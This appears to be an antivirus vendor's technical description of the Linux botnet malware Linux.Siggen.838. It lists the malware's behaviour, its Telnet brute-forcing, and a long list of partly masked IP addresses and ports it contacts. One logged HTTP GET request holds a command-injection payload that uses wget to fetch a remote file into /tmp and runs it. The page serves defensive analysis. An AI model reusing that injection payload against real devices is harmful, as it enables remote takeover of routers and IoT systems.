Linux.Siggen.838

Technical Information

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

ciehm5525dbledgm

Kills the following processes:

<SAMPLE>

Network activity:

Awaits incoming connections on ports:

127.0.0.1:1822

Establishes connection:

8.#.8.8:53
80.###.67.245:3287
18#.##0.187.218:80
21#.##.125.153:80
21#.##.233.107:80
69.###.208.142:80

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://###.###.##.########.############0aa%27;wget%20http://80.211.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$

Sends data to the following servers:

19#.##4.86.48:37215
19#.##8.86.48:52869
18#.###.134.48:52869
18#.##0.86.48:8080
21#.##8.134.48:80
20#.##3.178.87:80
19#.###.134.48:37215
15#.##9.50.87:37215
19#.##.127.55:37215
41.###.67.20:37215
19#.###.197.184:37215
19#.###.60.165:37215
13#.###.242.87:52869
94.###.185.55:52869
41.#.#31.20:52869
17#.##.3.190:52869
20#.###.250.149:52869
31.###.251.55:80
32.##.195.20:80
17#.##0.65.188:80
21#.##5.184.133:80
21#.##6.199.70:80
15#.##2.10.11:37215
15#.###.225.113:37215
19#.##5.94.81:37215
41.###.184.179:37215
19#.##.250.158:37215
16#.##8.77.60:52869
61.##.114.7:52869
87.###.159.81:52869
20#.###.21.233:52869
82.###.151.242:52869
19#.##8.108.121:80
86.##.223.81:80
21#.##.113.223:8080
13#.##.179.214:80
21#.#.108.114:80
41.##.168.91:37215
19#.###.51.108:37215
41.###.239.227:37215
19#.#.155.116:37215
15#.###.114.25:37215
15#.##.134.234:37215
98.##.142.102:52869
57.##.17.169:80
80.##.37.114:80
21#.##.83.166:80
21#.##3.198.181:80
80.###.67.245:3287
19#.###.142.233:37215
19#.##1.75.23:37215
41.##.104.177:37215
41.###.113.215:37215
25.###.225.141:52869
31.###.112.241:52869
14#.###.199.182:52869
22#.###.146.181:52869
66.###.7.188:52869
21#.##5.108.74:80
21#.##5.221.223:80
21#.##2.26.161:80
10#.###.255.202:8080
15#.###.108.247:37215
15#.###.247.65:37215
41.##.68.8:37215
41.###.234.183:37215
17.###.231.29:52869
18#.##.137.217:52869
12#.###.149.209:52869
95.###.202.95:52869
22#.###.102.164:52869
21#.##.212.197:80
50.###.162.84:80
16#.#.16.43:80
21#.#.52.192:80
21#.#.137.37:80
41.###.6.236:37215
19#.###.195.221:37215
19#.###.186.241:37215
19#.###.63.236:37215
41.##.219.26:37215
53.###.98.211:52869
12#.##.84.200:52869
14#.###.133.132:52869
11#.##.98.205:52869
12#.##0.6.22:52869
21#.##0.6.142:80
18.###.15.200:80
52.##.250.248:80
43.###.77.139:80
17#.###.238.149:8080
15#.##.249.204:37215
15#.###.234.155:37215
15#.###.114.105:37215
41.###.94.254:37215
15#.###.177.58:37215
11#.##2.9.155:52869
93.###.27.6:52869
14#.###.138.218:52869
14.###.51.67:52869
10#.###.43.151:52869
21#.##2.72.72:80
21#.##7.141.213:80
21#.##.140.174:80
14#.##2.99.46:80
15#.##.62.164:80
19#.##.159.62:37215
19#.##.59.128:37215
19#.###.213.149:37215
19#.###.62.224:37215
17#.#.70.18:52869
12#.#.146.154:52869
88.##.206.126:52869
10#.###.105.92:52869
15#.##9.85.81:80
21#.##9.131.120:80
53.###.207.122:80
21#.#2.42.12:80
14.##.153.216:8080
15#.##6.73.48:37215
15#.##.1.38:37215
15#.##5.7.164:37215
41.##.165.202:37215
41.##.199.186:37215
13#.###.208.140:52869
80.##.217.194:52869
21#.##.66.141:52869
15#.##.97.208:52869
49.###.234.240:80
93.##.48.32:80
14#.##.24.105:80
21#.##8.91.188:80
12.###.145.110:80
21#.##.232.206:80
19#.##.121.20:37215
41.##.39.77:37215
41.###.2.52:37215
41.##.217.21:37215
15#.###.172.187:37215
14#.###.230.44:52869
14#.##.54.234:52869
13#.###.175.178:52869
71.##.80.31:52869
14#.##.72.13:52869
21#.##6.233.95:80
19#.##2.55.188:80
21#.##3.50.214:80
53.###.1.147:8080
21#.##.181.160:80
41.###.87.106:37215
19#.##6.19.41:37215
19#.##4.27.14:37215
41.##.97.156:37215
41.###.37.185:37215
45.##.168.144:52869
64.#.#52.122:52869
18#.###.140.217:52869
32.##.81.147:52869
20#.##3.207.176:80
21#.##1.91.136:80
21#.##4.217.56:80
20#.##7.171.47:80
21#.##.235.20:80
15#.###.245.41:37215
41.###.68.144:37215
41.###.176.242:37215
19#.###.46.141:37215
19#.##.232.213:37215
12#.##.39.221:52869
12#.##.5.96:52869
19.##.67.190:52869
74.###.168.231:52869
17#.###.184.200:52869
21#.##7.120.164:80
13#.#36.49.1:80
15#.###.203.221:8080
18#.##0.187.218:80
21#.##.234.133:80
15#.##.167.245:37215
15#.##.147.172:37215
41.###.62.243:37215
15#.##7.77.93:37215
41.###.168.249:37215
41.###.34.119:37215
18#.##3.4.35:52869
14#.##.207.61:52869
54.###.50.143:52869
14#.###.63.209:52869
19#.###.226.178:52869
18#.##1.48.32:52869
52.###.29.108:80
21#.##1.234.118:80
21#.##2.71.168:80
21#.##.47.233:80
19#.###.249.212:37215
15#.##.155.61:37215
19#.###.186.200:37215
41.###.128.22:37215
15#.##2.186.3:37215
13#.##.194.72:52869
21#.###.171.202:52869
12#.##.154.217:52869
13#.##7.244.9:52869
13.##.135.183:52869
69.#.8.227:80
15#.##2.112.104:80
99.##.174.217:80
21#.##.169.96:8080
74.###.135.224:80
15#.###.120.157:37215
15#.##.53.191:37215
15#.##3.47.78:37215
14#.###.203.240:52869
21#.##.184.162:52869
10#.###.224.57:52869
22#.###.100.97:52869
11#.##2.74.64:52869
21#.##0.125.215:80
15#.##4.87.186:80
21#.##5.147.42:80
11#.#1.4.172:80
21#.##.166.165:80
21#.##4.248.27:80
41.##.249.76:37215
15#.#.8.40:37215
41.###.20.190:37215
41.###.68.169:37215
15#.##.165.133:37215
10#.###.148.97:52869
1.###.253.115:52869
14#.##3.20.10:52869
20#.###.233.173:52869
17#.###.201.239:52869
12.##1.31.55:80
21#.##.241.28:80
20#.##.30.154:8080
21#.##2.221.240:80
41.###.94.205:37215
19#.###.160.60:37215
15#.##.120.143:37215
15#.###.98.159:37215
41.###.106.242:37215
16#.##.183.211:52869
41.###.49.154:52869
21#.##7.206.175:80
41.###.50.238:37215
15#.##7.82.31:37215
53.##.168.254:52869
10#.###.252.181:52869
21#.##9.139.204:80
21#.##4.160.76:80
15#.###.183.147:37215
41.#.#1.243:37215
15#.###.135.213:52869
62.###.224.112:52869
21#.##2.106.159:80
18#.##0.75.235:80
41.###.162.115:37215
19#.###.154.230:37215
15#.###.18.153:37215
44.###.203.152:52869
46.###.227.161:52869
18#.##1.192.227:80
21#.##3.223.64:80
42.###.120.15:80
15#.###.203.244:37215
41.##.190.44:37215
15#.###.129.203:37215
24.##.21.253:52869
17#.###.14.217:52869
21#.#.240.252:8080
21#.##0.40.192:80
21#.##3.72.15:80
19#.###.242.100:37215
19#.##.99.103:37215
17#.###.253.212:52869
73.###.6.192:52869
21#.##1.240.131:80
59.##.26.52:80
19#.##6.41.49:37215
15#.###.173.29:37215
95.##.62.87:52869
14#.##.162.217:52869
21#.##.101.101:80
21#.##8.65.111:80
15#.###.117.178:37215
41.##.173.119:37215
15#.##.253.219:37215
41.##.186.234:52869
18#.##.119.94:52869
21#.##0.49.32:80
21#.##.76.119:80
19#.##5.25.65:37215
41.###.168.54:37215
24.##.248.226:52869
18#.###.212.69:52869
18#.##7.34.31:80
32.###.181.211:8080
21#.##2.214.30:80
19#.###.185.43:37215
41.###.187.56:37215
21#.##.36.119:52869
14#.##.204.59:52869
13#.##.81.40:52869
21#.##1.246.168:80
21#.#44.92.7:80
15#.##9.4.184:37215
14#.###.234.167:52869
1.###.200.7:52869
82.###.202.169:80
59.##.25.160:80
41.##.95.163:37215
41.##.120.184:37215
92.#.#95.105:52869
67.###.114.54:52869
80.##.227.190:80
21#.##.168.51:80
15#.###.254.108:37215
15#.##.79.200:37215
19#.###.110.70:37215
41.##.126.239:37215
19#.###.133.90:52869
23.###.110.14:52869
21#.##.9.241:52869
14#.##9.57.55:80
21#.##9.235.86:80
21#.##.147.18:8080
21#.#.1.19:80
19#.##3.169.0:37215
41.###.62.37:37215
41.###.231.199:37215
19#.###.30.152:37215
18#.###.10.172:52869
11#.##.233.84:52869
19#.##8.9.20:52869
19#.##.231.117:52869
19.##.236.38:80
21#.##8.18.46:80
21#.##.96.130:80
16#.##.110.145:80
15#.##.32.23:37215
41.##.20.182:37215
19#.###.73.207:37215
80.##.179.176:52869
19#.##.70.79:52869
71.###.28.102:52869
19#.##.20.250:80
89.##.191.128:80
41.###.103.209:37215
19#.##.246.49:37215
94.##.197.210:52869
11#.###.193.191:52869
21#.##7.148.53:80
11#.##.132.33:80
15#.###.22.164:37215
15#.###.167.13:37215
14#.###.100.13:52869
17#.###.145.46:52869
19#.#.51.119:37215
16#.###.227.233:52869
71.###.153.234:52869
21#.##8.130.14:8080
15#.##6.244.202:80
15#.##.75.135:37215
41.###.174.236:37215
15#.##.140.131:37215
4.##.#9.220:52869
10#.###.174.137:52869
13#.##8.27.58:52869
11#.##.231.10:80
64.#.240.86:80
41.###.68.89:37215
15#.###.43.214:37215
19#.##.139.162:37215
71.##.197.67:52869
27.##.238.154:52869
25.###.71.5:52869
11#.##3.187.46:80
14#.##4.63.89:80
18#.##3.115.152:80
15#.###.164.108:37215
19#.##.131.142:37215
41.###.180.122:37215
14#.##.29.140:52869
66.##.92.129:52869
18#.##.68.77:52869
39.###.175.253:80
11#.##6.181.163:80
80.##.39.104:80
15#.##2.33.71:37215
15#.##5.82.86:37215
41.##.202.176:37215
18.##.42.220:52869
35.##.44.69:52869
15#.##.134.203:52869
14#.###.137.119:52869
10#.###.209.189:8080
21#.##1.86.201:80
94.###.184.29:80
19#.##.74.83:37215
41.###.40.22:37215
41.###.108.107:37215
41.###.195.83:37215
65.##.123.154:52869
14#.##.84.198:52869
12#.##.254.157:52869
14#.##5.148.113:80
21#.##3.92.36:80
18#.##4.138.131:80
21#.##3.216.115:80
19#.###.53.129:37215
15#.###.12.168:37215
41.###.78.48:37215
41.##.20.65:37215
15#.###.66.253:37215
46.##.218.88:52869
20#.##2.42.70:52869
47.###.255.38:52869
75.###.11.40:52869
15#.##5.96.61:80
10#.##2.95.22:80
21#.##8.125.159:80
21#.###.215.223:8080
41.###.222.173:37215
15#.###.196.111:37215
15#.###.66.175:37215
19#.##0.66.3:37215
59.###.198.221:52869
14#.###.229.78:52869
90.###.211.148:52869
67.##.140.1:52869
76.###.61.143:80
21#.##.121.58:80
91.##8.39.47:80
17#.##.134.16:80
41.##.243.44:37215
19#.###.46.118:37215
10#.##5.50.56:52869
32.###.125.226:52869
18#.###.108.118:52869
14#.##.238.149:80
21#.##3.42.194:80
21#.##6.213.229:80
21#.##.46.131:80
15#.###.245.50:37215
18#.###.148.155:52869
11#.###.198.128:52869
58.##.12.35:52869
13#.##6.121.9:80
21#.##.174.19:8080
32.###.26.208:80
15#.##.111.135:37215
41.###.178.18:37215
41.###.125.82:37215
49.##.77.129:52869
67.##.204.8:52869
14#.##.200.228:52869
12#.##6.24.95:52869
21#.##0.148.223:80
14#.#28.26.0:80
21#.##8.77.70:80
19#.##.41.202:37215
41.###.201.58:37215
15#.##.10.22:37215
19#.###.28.201:37215
1.###.102.18:52869
50.##.222.243:52869
54.##.77.154:52869
52.##.121.117:80
21#.##.241.219:80
12#.##3.252.227:80
31.##1.26.37:80
41.###.187.68:37215
10#.#.139.8:52869
11#.##2.28.16:52869
16#.##.91.60:52869
10#.###.236.50:52869
18#.##2.132.156:80
14#.###.142.101:52869
13#.###.237.210:52869
15#.##.177.3:8080
21#.##.240.211:80
21#.##3.17.196:80
21#.##3.227.255:80
22#.##.76.243:80
21#.##4.221.77:80
17#.##.121.248:80
21#.##.186.238:80
21#.##3.14.56:80
21#.##6.26.93:80
21#.##.179.151:8080
21#.##3.82.27:80
99.##.182.62:80
21#.##.231.181:80
21#.##.11.120:80
13#.#2.67.35:80
49.###.82.253:80
14#.##5.240.103:80
71.##.252.226:80
21#.##.172.45:80
21#.##.114.26:8080
20#.##6.77.28:80
18#.##6.117.50:80
21#.##.181.57:80
31.##.116.112:80
15#.##0.37.128:80
21#.##.33.186:80
82.##.53.81:80
21#.##.102.233:80
39.##.218.171:80
19#.##2.115.66:8080
35.###.87.197:80
61.##.142.152:80
11#.##6.252.156:80
21#.##9.124.143:80
21#.##6.184.73:80
35.###.25.213:80
68.##.54.224:80
21#.##5.107.252:80
22#.##2.27.194:80
21#.###.184.136:8080
21#.##.246.64:80
13#.##1.141.33:80
12#.#.106.52:80
14#.##.219.82:80
21#.#8.86.25:80
21#.##8.204.80:80
21#.##.214.200:80
21#.##7.243.100:80
21#.##6.238.29:80
21#.###.224.246:8080
21#.##6.93.84:80
20#.##6.156.6:80
11#.##.148.101:80
21#.##8.6.207:80
21#.##.140.198:80
21#.##4.45.99:80
21#.##.158.192:80
21#.##8.115.194:80
51.###.177.46:80
21#.##.83.196:8080
16#.#.95.127:80
21#.##2.211.71:80
15#.##0.117.172:80
21#.##1.84.111:80
21#.##.125.153:80
50.##.98.242:80
12#.##.116.150:80
21#.##.209.224:80
21#.##4.23.139:80
17#.##0.237.46:8080
21#.##1.145.249:80
21#.##1.173.77:80
21#.##1.84.225:80
11#.##6.66.152:80
10#.##2.67.32:80
38.##6.71.37:80
21#.##9.184.125:80
21#.##3.60.142:80
13#.#.232.126:80
21#.##.137.14:8080
21#.##7.135.243:80
69.###.208.142:80
52.##.66.101:80
21#.##5.120.149:80
21#.##.113.116:80
21#.##0.58.173:80
21#.##8.197.59:80
76.###.128.200:80
21#.##1.190.121:80
16#.###.130.246:8080
90.###.124.188:80
42.###.80.168:80
21#.##0.49.231:80
21#.##.233.107:80
11#.##5.103.141:80
21#.##3.169.241:80
21#.##.46.187:80
21#.##2.241.124:80
21#.##.224.164:80
21#.###.190.144:8080
63.###.244.65:80
21#.##1.99.162:80
21#.##4.16.226:80
21#.##3.93.74:80
21#.##3.166.140:80
21#.##0.18.108:80
13#.##.77.221:80
21#.##5.202.38:80
21#.##0.96.51:80
21#.##.208.211:8080
21#.##1.53.64:80
21#.##2.217.188:80
20#.##.101.49:80
49.###.213.174:80
21#.#41.6.66:80
21#.##.24.208:80
12#.##3.189.203:80
36.###.248.169:80
10#.##2.108.13:80
89.###.31.207:8080
21#.##.217.58:80
59.##.251.18:80
21#.##.200.134:80
21#.##3.62.213:80
59.###.222.198:80
35.##.138.247:80
16#.##2.155.74:80
90.###.83.206:80
21#.##8.59.250:80
85.###.44.240:8080
90.###.59.156:80
21#.##7.98.111:80
21#.##9.76.227:80
21#.##.123.231:80
73.##.254.21:80
21#.##.26.243:80
21#.##9.106.235:80
21#.##1.161.87:80
21#.##5.59.250:80
21#.##9.142.64:8080
21#.##1.159.8:80
21#.##.177.198:80
21#.##.130.207:80
21#.##4.55.174:80
19#.##.251.159:80
20#.##1.16.87:80
21#.##7.151.121:80
19#.##6.97.30:80
21#.##6.87.246:80
4.###.120.175:8080
21#.##4.45.186:80
21#.##.53.160:80
21#.##0.134.139:80
20#.##0.125.47:80
81.###.179.33:80
21#.##7.99.161:80
21#.##1.57.226:80
21#.##0.253.101:80
11#.##2.135.65:80

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations